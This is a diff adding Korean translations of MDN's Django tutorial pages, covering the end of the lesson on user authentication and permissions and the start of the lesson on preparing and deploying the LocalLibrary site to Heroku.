+
+    def get_queryset(self):
+        return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre>
+
+<p>In order to restrict our query to just the <code>BookInstance</code> objects for the current user, we re-implement <code>get_queryset()</code> as shown above. Note that "o" is the stored code for "on loan" and we order by the <code>due_back</code> date so that the oldest items are displayed first.</p>
+
+<h3 id="URL_conf_for_on_loan_books">URL conf for on loan books</h3>
+
+<p>Now open <strong>/catalog/urls.py</strong> and add a<code>path()</code> pointing to the above view (you can just copy the text below to the end of the file).</p>
+
+<pre class="brush: python notranslate">urlpatterns += [
+    path('mybooks/', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'),
+]</pre>
+
+<h3 id="Template_for_on-loan_books">Template for on-loan books</h3>
+
+<p>Now, all we need to do for this page is add a template. First, create the template file <strong>/catalog/templates/catalog/bookinstance_list_borrowed_user.html</strong> and give it the following contents:</p>
+
+<pre class="brush: python notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+    &lt;h1&gt;Borrowed books&lt;/h1&gt;
+
+    {% if bookinstance_list %}
+    &lt;ul&gt;
+
+      {% for bookinst in bookinstance_list %}
+      &lt;li class="{% if bookinst.is_overdue %}text-danger{% endif %}"&gt;
+        &lt;a href="{% url 'book-detail' bookinst.book.pk %}"&gt;\{{bookinst.book.title}}&lt;/a&gt; (\{{ bookinst.due_back }})
+      &lt;/li&gt;
+      {% endfor %}
+    &lt;/ul&gt;
+
+    {% else %}
+      &lt;p&gt;There are no books borrowed.&lt;/p&gt;
+    {% endif %}
+{% endblock %}</pre>
+
+<p>This template is very similar to those we've created previously for the <code>Book</code> and <code>Author</code> objects. The only thing "new" here is that we check the method we added in the model <code>(bookinst.is_overdue</code>) and use it to change the colour of overdue items.</p>
+
+<p>When the development server is running, you should now be able to view the list for a logged in user in your browser at <a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>. Try this out with your user logged in and logged out (in the second case, you should be redirected to the login page).</p>
+
+<h3 id="Add_the_list_to_the_sidebar">Add the list to the sidebar</h3>
+
+<p>The very last step is to add a link for this new page into the sidebar. We'll put this in the same section where we display other information for the logged in user.</p>
+
+<p>Open the base template (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) and add the line in bold to the sidebar as shown.</p>
+
+<pre class="brush: python notranslate"> &lt;ul class="sidebar-nav"&gt;
+   {% if user.is_authenticated %}
+   &lt;li&gt;User: \{{ user.get_username }}&lt;/li&gt;
+<strong>   &lt;li&gt;&lt;a href="{% url 'my-borrowed' %}"&gt;My Borrowed&lt;/a&gt;&lt;/li&gt;</strong>
+   &lt;li&gt;&lt;a href="{% url 'logout'%}?next=\{{request.path}}"&gt;Logout&lt;/a&gt;&lt;/li&gt;
+   {% else %}
+   &lt;li&gt;&lt;a href="{% url 'login'%}?next=\{{request.path}}"&gt;Login&lt;/a&gt;&lt;/li&gt;
+   {% endif %}
+ &lt;/ul&gt;
+</pre>
+
+<h3 id="What_does_it_look_like">What does it look like?</h3>
+
+<p>When any user is logged in, they'll see the <em>My Borrowed</em> link in the sidebar, and the list of books displayed as below (the first book has no due date, which is a bug we hope to fix in a later tutorial!).</p>
+
+<p><img alt="Library - borrowed books by user" src="https://mdn.mozillademos.org/files/14105/library_borrowed_by_user.png" style="border-style: solid; border-width: 1px; display: block; height: 215px; margin: 0px auto; width: 530px;"></p>
+
+<h2 id="허가">허가</h2>
+
+<p>Permissions 는 모델과 연관되어 허가를 가진 유저에 의한 model instance 작업들을 정의하게 됩니다. 기본적으로 Django 자동적으로 <em>add</em>, <em>change</em>, 그리고 <em>delete</em> permissions 을 모든 모델에 제공하는데, 유저가 관리자 사이트를 통해서 (권한)허가를 가지고 연고나도니 작업들을 하게 합니다. 당신은 권한을 모델이나 특정 유저에게 부여하도록 정의할 수 있습니다. You can also change the permissions associated with different instances of the same model.</p>
+
+<p>Testing on permissions in views and templates is then very similar for testing on the authentication status (and in fact, testing for a permission also tests for authentication).</p>
+
+<h3 id="Models_2">Models</h3>
+
+<p>Defining permissions is done on the model "<code>class Meta</code>" section, using the <code>permissions</code> field. You can specify as many permissions as you need in a tuple, each permission itself being defined in a nested tuple containing the permission name and permission display value. For example, we might define a permission to allow a user to mark that a book has been returned as shown:</p>
+
+<pre class="brush: python notranslate">class BookInstance(models.Model):
+    ...
+    class Meta:
+        ...
+<strong>        permissions = (("can_mark_returned", "Set book as returned"),)  </strong> </pre>
+
+<p>We could then assign the permission to a "Librarian" group in the Admin site.</p>
+
+<p>Open the <strong>catalog/models.py</strong>, and add the permission as shown above. You will need to re-run your migrations (call <code>python3 manage.py makemigrations</code> and <code>python3 manage.py migrate</code>) to update the database appropriately.</p>
+
+<h3 id="Templates">Templates</h3>
+
+<p>The current user's permissions are stored in a template variable called <code>\{{ perms }}</code>. You can check whether the current user has a particular permission using the specific variable name within the associated Django "app" — e.g. <code>\{{ perms.catalog.can_mark_returned }}</code> will be <code>True</code> if the user has this permission, and <code>False</code> otherwise. We typically test for the permission using the template <code>{% if %}</code> tag as shown:</p>
+
+<pre class="brush: python notranslate">{% if perms.catalog.<code>can_mark_returned</code> %}
+    &lt;!-- We can mark a BookInstance as returned. --&gt;
+    &lt;!-- Perhaps add code to link to a "book return" view here. --&gt;
+{% endif %}
+</pre>
+
+<h3 id="Views">Views</h3>
+
+<p>Permissions can be tested in function view using the <code>permission_required</code> decorator or in a class-based view using the <code>PermissionRequiredMixin</code>. The pattern and behaviour are the same as for login authentication, though of course, you might reasonably have to add multiple permissions.</p>
+
+<p>Function view decorator:</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.decorators import permission_required
+
+@permission_required('catalog.<code>can_mark_returned</code>')
+@permission_required('catalog.<code>can_edit</code>')
+def my_view(request):
+    ...</pre>
+
+<p>A permission-required mixin for class-based views.</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.mixins import PermissionRequiredMixin
+
+class MyView(PermissionRequiredMixin, View):
+    permission_required = 'catalog.<code>can_mark_returned</code>'
+    # Or multiple permissions
+    permission_required = ('catalog.<code>can_mark_returned</code>', 'catalog.can_edit')
+    # Note that 'catalog.can_edit' is just an example
+    # the catalog application doesn't have such permission!</pre>
+
+<h3 id="Example">Example</h3>
+
+<p>We won't update the <em>LocalLibrary</em> here; perhaps in the next tutorial!</p>
+
+<h2 id="Challenge_yourself">Challenge yourself</h2>
+
+<p>Earlier in this article, we showed you how to create a page for the current user listing the books that they have borrowed. The challenge now is to create a similar page that is only visible for librarians, that displays <em>all</em> books that have been borrowed, and which includes the name of each borrower.</p>
+
+<p>You should be able to follow the same pattern as for the other view. The main difference is that you'll need to restrict the view to only librarians. You could do this based on whether the user is a staff member (function decorator: <code>staff_member_required</code>, template variable: <code>user.is_staff</code>) but we recommend that you instead use the <code>can_mark_returned</code> permission and <code>PermissionRequiredMixin</code>, as described in the previous section.</p>
+
+<div class="warning">
+<p><strong>Important</strong>: Remember not to use your superuser for permissions based testing (permission checks always return true for superusers, even if a permission has not yet been defined!). Instead, create a librarian user, and add the required capability.</p>
+</div>
+
+<p>When you are finished, your page should look something like the screenshot below.</p>
+
+<p><img alt="All borrowed books, restricted to librarian" src="https://mdn.mozillademos.org/files/14115/library_borrowed_all.png" style="border-style: solid; border-width: 1px; display: block; height: 283px; margin: 0px auto; width: 500px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Excellent work — you've now created a website that library members can log in into and view their own content and that librarians (with the correct permission) can use to view all loaned books and their borrowers. At the moment we're still just viewing content, but the same principles and techniques are used when you want to start modifying and adding data.</p>
+
+<p>In our next article, we'll look at how you can use Django forms to collect user input, and then start modifying some of our stored data.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/auth/">User authentication in Django</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/auth/default//">Using the (default) Django authentication system</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/intro/#decorating-class-based-views">Introduction to class-based views &gt; Decorating class-based views</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/django/deployment/index.html b/files/ko/learn/server-side/django/deployment/index.html
new file mode 100644
index 0000000000..9ea3f870e5
--- /dev/null
+++ b/files/ko/learn/server-side/django/deployment/index.html
@@ -0,0 +1,685 @@
+---
+title: 'Django 튜토리얼 파트 11: Django 웹사이트 공개하기'
+slug: Learn/Server-side/Django/Deployment
+tags:
+  - Django deployment
+  - django
+  - heroku
+  - whitenoise
+  - 웹 서버
+  - 장고
+  - 장고 배포
+translation_of: Learn/Server-side/Django/Deployment
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">당신은 이제 놀라운 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 웹사이트를 (테스트도 마치고) 만들었으니, 도서관 스태프나 회원들이 인터넷을 통해 이용할 수 있도록 공개된 웹 서버에 설치하길 원할 것이다. 이번 장에서는 웹사이트를 배포할수 있는 호스트를 살펴보는 방법에 대한 개요와 사이트를 실제 운운영하기위해 필요한 것들에 대해 설명한다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전학습:</th>
+   <td>아래 파트를 포함하여 앞선 모든 튜토리얼 파트의 학습을 완료할 것.  <a href="/en-US/docs/Learn/Server-side/Django/Testing">Django 튜토리얼 파트 10: Django 웹 어플리케이션 테스트하기</a></td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표:</th>
+   <td>Django 앱을 공개 운영할 수 있는 네트워크상의 장소와 방법을 배우기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>일단 사이트 개발이 완료되면( 혹은 공개 테스트를 시작할 정도로 "충분히" 완료되었다면 ) 개인 컴퓨터 환경보다는 좀더 공개되고 접근성이 있는 네트워크상의 장소가 필요할 것이다.</p>
+
+<p>이제까지는, Django 개발용 웹 서버를 사용하여 사이트를 로컬 브라우저/네트워크 범위 내에서 공개하고,  암호를 포함한 개인정보및 디버깅정보가 노출되는  (보안이 부실한) 개발용 환경 설정으로 웹사이트를 실행하면서, 개발환경에서만 작업을 해왔다.  외부에서 웹사이트를 운영하기 전에 해야할 일은 다음과 같다:</p>
+
+<ul>
+ <li>프로젝트 설정에서 몇가지를 고쳐야 한다.</li>
+ <li>Django 앱을 호스팅할 환경을 선택해야 한다.</li>
+ <li>정적 파일들(static files)을 호스팅할 환경을 선택해야 한다.</li>
+ <li>웹 사이트를 서비스할 공개단계 레벨의 기반환경을 구축한다.</li>
+</ul>
+
+<p>이 튜토리얼은 호스팅사이트를 선택하기위한 몇가지 지침과 Django 앱을 공개하는데 대비하기 위해 필요한 사항에 대한 간단한 개요및 LocalLibrary 웹사이트를 <a href="https://www.heroku.com/">Heroku</a> 클라우드 호스팅 서비스 위에서 운영되도록 설치하는 방법에 대해 동작하는 예제를 제공한다.</p>
+
+<h2 id="운영환경_(Production_envrionment)_이란">운영환경 (Production envrionment) 이란?</h2>
+
+<p>운영환경은 외부공개를 위한 웹사이트를 운영하는 서버 컴퓨터로 부터 제공되는 환경이다. 운영환경은 다음 요소로 구성된다 :</p>
+
+<ul>
+ <li>웹사이트가 실행되는 컴퓨터 하드웨어.</li>
+ <li>Linux, Windows와 같은 운영체제.</li>
+ <li>웹 사이트를 작성한 프로그래밍 언어 구동 환경(runtime)과 프레임웍 라이브러리.</li>
+ <li>콘텐츠및 페이지를 서비스 하기위한 Nginx, Apache와 같은 웹 서버.</li>
+ <li>Django 웹사이트와 웹서버간에 "동적인" request 를 전달하기위한 어플리케이션 서버.</li>
+ <li>웹사이트의 정보를 저장하는 데이타베이스.</li>
+</ul>
+
+<div class="note">
+<p><strong>주목할점</strong>: 운영환경의 설정에 따라 역방향 프록시(reverse proxy)나 로드 밸런서(load balancer)등이 추가될 수도 있다.</p>
+</div>
+
+<p>서버 컴퓨터는 빠른 인터넷으로 연결되어 당신의 사무실내에 위치할 수도 있지만, 보통 "클라우드 상에서" 사용하는것이 훨씬 더 흔한 방법이다. 이말은 실제로는 당신의 코드가 호스팅 업체의 데이터센터에 위치한 어떤 원격 컴퓨터에서(혹은 아마도 "가상환경의" 컴퓨터상에서) 실행된다는 것을 의미한다.  원격지 서버는 대개는 어느 정도 검증된 수준의 컴퓨터 자원(예를들면, CPU, 램, 저장 메모리 공간등)과 가격대별 인터넷 연결을 제공한다.</p>
+
+<p>이런 종류의 원격 접속가능한 컴퓨터/네트워크 하드웨어를 IaaS ( <em>Infrastructure as a Service) 라고 줄여 부른다</em>. 많은 IaaS 업체들은 미리 설치된 특정 OS 환경에 대한 여러가지 옵션을 제공하는데 당신은 그 위에 운영환경에 필요한 것들을 설치해야 한다. 또 다른 업체는 장고와 웹서버등을 포함하여 완전히 갖추어진 환경을 선택할수 있도록 옵션을 제공하기도 한다.</p>
+
+<div class="note">
+<p><strong>주목할점:</strong> 미리 구성된 환경에서는 환경설정에 대한 부담을 덜 수 있어서 웹사이트 구성을 매우 쉽게할 수 있지만, 익숙하지 않은 서버환경이나 다른 콤포넌트 때문에, 혹은 구형 OS 버전 때문에 선택가능한 구성수단이 줄어들 수도 있다.  많은 경우에, 당신이 원하는 결과를 얻기 위해, 당신이 직접 필요한 콤포넌트를 설치하는 것이 낫다. 그러면 시스템 업그레이드가 필요한 경우에,  어떻게 시작해야 하는지 알아챌 수 있을 것이다 !</p>
+</div>
+
+<p>다른 호스팅 업체들은 Django를 플랫폼의 일부분으로 지원하는데 이런 업체를 PaaS( <em>Platform as a Service)로 줄여 부른다</em>. 이런 종류의 호스팅에서는 호스트 플랫폼이 (어플리케이션의 규모의 변화에 따라 조정해야하는 거의 모든 것을 포함하여)  대신 관리해주므로 운영환경(웹 서버, 어플리케이션 서버, 로드 밸런서등)에 대해 거의 고민할 필요가 없다. 이 경우, 다른 서버 기반환경에 신경쓸 필요없이, 웹 어플리케이션에만 집중할수 있기 때문에 웹사이트 배포가 엄청 쉽다.</p>
+
+<p>어떤 개발자들은 PaaS에 비해 좀더 높은 자유도를 가진 IaaS를 선택하는 반면, 다른 개발자들은 관리부담이 덜하고 웹사이트 규모를 쉽게 조정할수 있는 PaaS를 선택할 것이다. 당신은 이제 막 개발을 시작했기에, PaaS에 웹사이트를 설정하는 것이 더 쉬울 것이다. 그리고 그것이 이 튜토리얼에서 우리가 공부할 내용이다.</p>
+
+<div class="note">
+<p><strong>한가지 팁:</strong> Python/Django 친화적인 호스팅 업체를 선정했다면, 웹서버,어플리케이션 서버, 역방향 프록시( 혹시 PaaS 업체를 선정했다면  별로 신경쓸 필요없는  내용임)의 여러가지 설정을 이용한 Django 웹사이트를 구성하는 방법에 대한 설명이 제공될 것이다. 예를 들면, 이곳 ( <a href="https://www.digitalocean.com/community/tutorials?q=django">Digital Ocean Django community docs</a> ) 에는 다양한 설정에 대한 단계적인 가이드가 있다.</p>
+</div>
+
+<h2 id="호스팅_업체_선정하기">호스팅 업체 선정하기</h2>
+
+<p>Django에 대한 지원이 활발하게 이루어지거나 Django가 잘 동작한다고 알려진  호스팅 업체는 약 100여곳이 있다. ( 꽤 광범위한 목록을 <a href="http://djangofriendly.com/hosts/">Djangofriendly hosts</a> 에서 찾아볼 수 있다.) 이 업체들은 서로 다른 타입(IaaS, PaaS)이거나 서로 다른 가격대에 여러가지 수준의 컴퓨팅/네트워크 자원을 제공한다.</p>
+
+<p>호스팅 업체를 선정할 때 고려해야할 몇가지는 다음과 같다:</p>
+
+<ul>
+ <li>당신의 사이트가 얼마나 바쁘게 돌아갈 것인지와 이 요구조건을 감당할수 있는 데이터와 컴퓨팅 자원의 비용 수준.</li>
+ <li>수평적인(같은 머신을 더 많이 사용하기)  혹은 수직적인(좀더 고성능의 머신을 사용하기) 사이트 규모조정 수준과 이 작업에 필요한 비용.</li>
+ <li>공급자의 데이터 센터가 위치한 장소와 그에 따른 가장 빠르게 접속할 수 있는 장소.</li>
+ <li>호스트의 역대 가동시간및 가동중지시간 상의 성능.</li>
+ <li>사이트 관리용으로 제공되는 도구 - 가 사용하기 쉬운지와 안전한지 ( 예를들면  SFTP vs FTP )</li>
+ <li>당신의 서버를 모니터링 하기위하 내장 프레임워크.</li>
+ <li>알려진 제한사항들. 어떤 호스트 업체는 의도적 특정 서비스(예를 들면  email)를 제한한다. 또 다른 업체는 특정 가격대에 일정 시간의 "가동시간"이나 일정량의 저장공간만을 제공한다.</li>
+ <li>추가적인 혜택들. 어떤 업체들은 다른곳에서는 유료로 지원되는 도메인 네임과 SSL인증에 대한 지원을 무료로 제공한다. </li>
+ <li>당신이 사용하던 "무료"계정이 시간초과로 중지되거나 좀더 비싼 계정으로 이전하는데 비용들거나 하게된다는 것은 처음에 선택한 호스팅 서비스와 다른 선택을 했다면 웹사이트가 좀더 성공적일 수도 있었다는 것을 의미한다! </li>
+</ul>
+
+<p>당신이 개발을 시작했다면 좋은 소식은 "평가용", "개발자용"혹은 "취미개발용" 컴퓨터 환경을 "무료"로 제공하는 업체가 꽤 있다는 것이다. 이들은 항상 자원을 아주 제한적으로만 사용할 수 있고, 처음 신규 가입 기간이 지나 중지되지 않는지 주의를 기울여야 한다.  하지만, 트래픽이 낮은 사이트를 실제 운영환경에서 테스트 하기에 좋으며, 사이트가 좀더 바빠질 경우 더 많은 자원을 제공하는 유료환경으로 쉽게 이전할 수 있다.이런 종류의 환경으로 인기있는 곳은 <a href="https://www.heroku.com/">Heroku</a>, <a href="https://www.pythonanywhere.com/">Python Anywhere</a>, <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a> 등등이다.</p>
+
+<p>많은 업체가 좀더 쓸만한 수준의 컴퓨팅 파워와 제한사항을 완화한 "기본"계정을 가지고 있다. <a href="https://www.digitalocean.com/">Digital Ocean</a> 과 <a href="https://www.pythonanywhere.com/">Python Anywhere</a> 는  상대적으로 비용이 낮은( 1달에 5~10 USD 가격의) 기본 계정을 제공하는 인기있는 호스팅 업체의 대표적인 예이다.</p>
+
+<div class="note">
+<p><strong>주목할점:</strong> 사용가격이 유일한 선택기준이 아니라는 것을 명심하라. 당신의 웹사이트가 성공적이라면 사이트의 확장성이 가장 중요한 기준이 될것이다.</p>
+</div>
+
+<h2 id="웹사이트에서_공개(publish)준비_하기">웹사이트에서 공개(publish)준비 하기</h2>
+
+<p>django-admin과 manage.py 도구로 생성된 <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django 뼈대 웹사이트</a>는 개발환경에 최적화 되어 설정되었다. 개발환경이 아닌 운영환경에서는 ( <strong>settings.py</strong>에 설정되어 있는 ) Django 프로젝트 설정의 많은 부분이, 보안상 혹은 성능상 이유로, 변경되어야 한다.</p>
+
+<div class="note">
+<p><strong>한가지 팁:</strong> 운영환경용으로 별도의 <strong>settings.py</strong> 파일을 유지하고 민감한 설정들은 별도의 파일이나 시스템의 환경변수에 저장하는  것이 일반적이다. 소스코드의 다른 부분은 공개된 저장소에 보관하더라도, 이 파일은 격리되어 보호되어야 한다. </p>
+</div>
+
+<p>반드시 체크되어야 할 가장 중요한 설정은 다음과 같다 :</p>
+
+<ul>
+ <li><code>DEBUG</code>. 이 설정은 운영환경에서 <code>False</code> 로 설정되어야 한다 (<code>DEBUG = False</code>). 이 설정은 민감하고 / 보호가 필요한 디버그 정보나 변수정보가 외부로 보여지지 않도록 막는다.</li>
+ <li><code>SECRET_KEY</code>. CRSF 보안등을 위해 사용되는 큰 숫자의 랜덤 값이다. 운영환경에서 사용되는 key 값이 형상관리툴에 등록되지 않도록 하거나 운영 서버 밖에서 접근할 수 없도록 관리하는 것이 중요하다. Django 문서에서는 이 값을 환경 변수에서 로딩하거나 serve-only 파일에서 읽어오도록 제안하고 있다.
+  <pre># Read SECRET_KEY from an environment variable
+import os
+SECRET_KEY = os.environ['SECRET_KEY']
+
+#OR
+
+#Read secret key from a file
+with open('/etc/secret_key.txt') as f:
+    SECRET_KEY = f.read().strip()</pre>
+ </li>
+</ul>
+
+<p><em> </em><code>SECRET_KEY</code><em> 와 </em><code>DEBUG</code><em> 변수를, 이 변수들이 정의되어 있다면, 시스템의 환경 변수에서 읽어오도록  LocalLibrary</em> 어플리케이션을 수정하자. 정의되어 있지 않다면 설정 파일의 디폴트 값을 사용하도록 한다.</p>
+
+<p><strong>/locallibrary/settings.py</strong> 파일을 열고, 기존의 <code>SECRET_KEY</code> 설정을 비활성화 하고 아래 코드에서 <strong>bold</strong>체로 보이는 부분을 추가한다. 개발 과정중에는 보통 key와 관련하여 환경변수가 설정되지 않으므로 초기값이 사용되고 있을것이다. ( 키가 노출되면 당신이 그 키를 운영환경에 사용하지는 않을것이므로 여기서 어떤키를 사용하는지는 중요하지 않다).</p>
+
+<pre class="brush: python"># SECURITY WARNING: keep the secret key used in production secret!
+# SECRET_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2_+&amp;k3q+pmu)5%asj6yjpkag'
+<strong>import os</strong>
+<strong>SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY', 'cg#p$g+j9tax!#a3cup@1$8obt2_+&amp;k3q+pmu)5%asj6yjpkag')</strong>
+</pre>
+
+<p>그리고나서 기존의 <code>DEBUG</code> 설정을 주석처리 하고 신규 라인을 아래와 같이 추가 하라.</p>
+
+<pre class="brush: python"># SECURITY WARNING: don't run with debug turned on in production!
+# DEBUG = True
+<strong>DEBUG = bool( os.environ.get('DJANGO_DEBUG', True) )</strong>
+</pre>
+
+<p><code>DEBUG</code> 의 초기값은 <code>True</code> 이지만, <code>DJANGO_DEBUG</code> 환경변수가 비어있는 문자열로 설정 되면 (즉, <code>DJANGO_DEBUG=''</code> 와 같이) <code>False</code> 로 설정될 것이다.</p>
+
+<div class="note">
+<p><strong>주목할 점</strong>: <code>DJANGO_DEBUG</code> 환경변수를 "값을 가진 문자열"이나 "빈 문자열" 로 설정하기 보다, 그냥 <code>True</code> 나 <code>False</code> 로 (각각) 직접 설정할 수 있다면 이런 방식이 좀더 직관적으로 보일것이다. 하지만 불행히도 환경변수는 파이썬 문자열로 저장되며, <code>False</code> 로 평가받을수 있는 문자열은 "빈 문자열"이 유일하다.</p>
+
+<p>역자주: os.environ.get의 사용법에 대해서는 이 <a href="https://bugs.python.org/msg277165">링크</a>를 참조 하라</p>
+</div>
+
+<p>변경해야할 설정의 전체 체크리스트는 <a href="https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/">배포 체크리스트</a> (장고 문서) 로 제공된다. 아래 터미널 명령으로도 몇몇 목록을 뽑을 수 있다:</p>
+
+<pre class="brush: python">python3 manage.py check --deploy
+</pre>
+
+<h2 id="예제_LocalLibrary를_Heroku에_설치하기">예제: LocalLibrary를 Heroku에 설치하기</h2>
+
+<p>이번 섹션에서는 <a href="http://heroku.com">Heroku PaaS 클라우드</a> 에 LocalLibrary를 설치하는 방법에 대한 실제적인 예제를 제공한다.</p>
+
+<h3 id="왜_Heroku_인가">왜 Heroku 인가?</h3>
+
+<p>Heroku는 현재까지 가장 오래 운영된 서비스들중 하나이며, 인기있는 클라우드기반 PaaS 서비스이다. 원래는 Ruby 앱들만 지원했지만, 현재는 많은 프로그래밍 환경의 앱들을 지원할수 있으며, 여기에는 Django 또한 포함된다!</p>
+
+<p>우리는 다음과 같은 이유로 Heroku 를 사용하기로 결정했다:</p>
+
+<ul>
+ <li>Heroku는 정말 돈 낼 필요가 없는 <a href="https://www.heroku.com/pricing">무료 단계 (free tier)</a> 를 지원한다. (물론 약간의 제약이 있긴하다).</li>
+ <li>Heroku는 PaaS 개념의 서비스로 많은 웹 기반환경의 관리를 제공한다. 서버관리, 로드 밸런싱, 역방향 프록시등 여러가지 웹 기반환경들을 Heroku가 내부적으로 모두 제공하므로 이에 대한 걱정을 덜고 쉽게 개발을 시작할수 있다.</li>
+ <li>제약이 있긴하지만, 이 제약들은 우리가 진행하려는 어플리케이션 개발에는 영향이 없을 것이다. 예를 들면 다음과 같다:
+  <ul>
+   <li>무료 단계의 Heroku는 활성주기가 짧은 저장공간을 제공하므로 유저가 업로드한 파일을 Heroku 자체에 안전하게 저장할 수는 없다.</li>
+   <li>무료 단계에서는 30분동안 아무런 요청도 없다면 웹 앱은 비활성화 될 것이다. 이 후에 요청이 오면 응답하는데 몇 초정도 약간의 시간이 더 필요하게 될것이다. </li>
+   <li>무료 단계에서는 웹 사이트의 동작 가능 시간이 매월 특정시간 만큼으로 제한된다 ( 사이트가 "비활성(asleep)"상태인 경우의 시간은 제외된다). 이 제약은 사용빈도가 낮고/ 예제 확인용 사이트인 경우는 문제가 되지 않지만, 계속 활성화 상태가 필요한 앱의 경우에는 적합하지 않을것이다.</li>
+   <li>다른 제약 사항은 <a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku 문서) 에서 찾아볼 수 있다.</li>
+  </ul>
+ </li>
+ <li>대부분의 경우 문제없이 사용할 수 있을것이고, 당신이 결국 Heroku에 만족하게 되었다면, 당신의 앱을 확장하는 것도 매우 쉽다.</li>
+</ul>
+
+<p>Heroku로 이 예제를 호스팅 하는데는 부족함이 없겠지만, 당신이 개발하고자 하는 실제 웹사이트의 요구조건에는 부족할 수도 있다. Heroku는 설치하여 사용하고 확장하기는 쉽지만 대신 모든 요구조건을 충족할 정도로 유연하지는 않으며 일단 무료 단계를 벗어나면 당신의 요구조건을 만족시키기 위해 좀더  비싼 비용을 요구할 가능성이 잠재되어있다.</p>
+
+<h3 id="Heroku는_어떻게_동작하는가">Heroku는 어떻게 동작하는가?</h3>
+
+<p>Heroku는 Django 웹사이트를 한 개이상의 "<a href="https://devcenter.heroku.com/articles/dynos">다이노(Dyno</a>)"에서 실행한다.  다이노란 고립적이고, 가상화된 Unix 콘테이너이며 어플리케이션을 실행하는데 필요한 환경을 제공한다. 다이노는 완전히 고립적이며 <em>ephemeral </em>( <em>다이노가 재시작될 때마다 깨끗이 비워지는 단기 수명의 )</em> 파일 시스템을 가지고 있다. 다이노간에 공유하는 유일한 항목은 어플리케이션 <a href="https://devcenter.heroku.com/articles/config-vars">설정 변수</a> 이다. Heroku 는 웹 트래픽을 모든 "웹" 다이노들로 분배하기 위해 내부적으로 로드 밸런서를 사용한다. 다이노들간에 공유하는것이 없기때문에 Heroku는 단지 다이노를 좀더 추가하는 것으로 앱을 수평적으로 확장할 수있다. ( 사실은 당연히 추가적인 접속자를 받기위해 다이노 뿐만 아니라 데이타베이스도 확장할 필요가 있긴 하다).</p>
+
+<p>파일 시스템이 단기 수명의 특성이 있어서, 어플리케이션에 필요한 서비스(즉, 데이타베이스, 큐, 캐싱 시스템, 저장공간, 이메일 서비스 등등) 를 직접 설치할 수는 없다.  대신에 Heroku 웹 어플리케이션들은 Heroku나 써드파티로 부터 제공되는 독립적인 "애드온"들로 부터의 지원 서비스를 이용한다. 일단 애드온이 웹 어플리케이션에 부착되면, 다이노는 어플리케이션 설정 변수에 포함된 정보를 사용하여 서비스에 접속한다. </p>
+
+<p>어플리케이션을 실행하기위해서, Heroku는 적절한 환경과 의존성을 셋업하고 어떻게 런칭되는지 이해할 필요가 있다. Django 앱에 대해서는 아래 정보를 몇개의 텍스트 파일로 제공한다.</p>
+
+<ul>
+ <li><strong>runtime.txt</strong>:<strong> </strong>프로그래밍 언어와 사용 버전.</li>
+ <li><strong>requirements.txt</strong>: Django를 포함한 파이썬 관련 라이브러리 의존성.</li>
